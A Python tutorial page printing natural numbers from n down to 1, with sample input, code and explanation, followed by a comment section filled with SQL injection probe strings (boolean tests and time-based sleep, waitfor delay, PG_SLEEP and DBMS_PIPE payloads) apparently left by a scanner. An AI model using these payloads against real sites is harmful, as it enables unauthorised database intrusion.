Print Natural numbers in reverse in python

Python program to get input n and print natural numbers from n in reverse.

Sample Input 1:

7

Sample Output 1:

7 6 5 4 3 2 1

Program or Solution

				
			
					
n=int(input("Enter n value:"))
for i in range(n,0,-1):
    print(i,end=" ")
    

			
				
			

Program Explanation

For Statement is used to execute the sequence of instruction repeatedly.

Range() method gives list of elements, here range() method gives list which has n,n-1,.....,1. for statement executes the instructions iteratively and for takes the elements one by one as value of i in sequential manner.

so it prints n,n-1,.....,1.

Comments

ubaTaeCJ
-1 OR 2+543-543-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3+543-543-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3*2<(0+5+543-543) --
ubaTaeCJ
-1 OR 3*2>(0+5+543-543) --
ubaTaeCJ
-1 OR 2+190-190-1=0+0+0+1
ubaTaeCJ
-1 OR 3+190-190-1=0+0+0+1
ubaTaeCJ
-1 OR 3*2<(0+5+190-190)
ubaTaeCJ
-1 OR 3*2>(0+5+190-190)
ubaTaeCJ
-1' OR 2+340-340-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3+340-340-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3*2<(0+5+340-340) --
ubaTaeCJ
-1' OR 3*2>(0+5+340-340) --
ubaTaeCJ
-1' OR 2+161-161-1=0+0+0+1 or 'KgxVCPqB'='
ubaTaeCJ
-1' OR 3+161-161-1=0+0+0+1 or 'KgxVCPqB'='
ubaTaeCJ
-1' OR 3*2<(0+5+161-161) or 'KgxVCPqB'='
ubaTaeCJ
-1' OR 3*2>(0+5+161-161) or 'KgxVCPqB'='
ubaTaeCJ
-1" OR 2+387-387-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3+387-387-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3*2<(0+5+387-387) --
ubaTaeCJ
-1" OR 3*2>(0+5+387-387) --
ubaTaeCJ
if(now()=sysdate(),sleep(15),0)
ubaTaeCJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
ubaTaeCJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
ubaTaeCJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
ubaTaeCJ
-1; waitfor delay '0:0:15' --
ubaTaeCJ
-1); waitfor delay '0:0:3' --
ubaTaeCJ
1 waitfor delay '0:0:3' --
ubaTaeCJ
HBrFqi9d'; waitfor delay '0:0:15' --
ubaTaeCJ
-5 OR 813=(SELECT 813 FROM PG_SLEEP(15))--
ubaTaeCJ
-5) OR 421=(SELECT 421 FROM PG_SLEEP(15))--
ubaTaeCJ
-1)) OR 454=(SELECT 454 FROM PG_SLEEP(15))--
ubaTaeCJ
JZCmCpsn' OR 874=(SELECT 874 FROM PG_SLEEP(15))--
ubaTaeCJ
ryran1fo') OR 450=(SELECT 450 FROM PG_SLEEP(6))--
ubaTaeCJ
O9NwrrCY')) OR 297=(SELECT 297 FROM PG_SLEEP(15))--
ubaTaeCJ
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
ubaTaeCJ
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
ubaTaeCJ
1'"
ubaTaeCJ
@@nNoQJ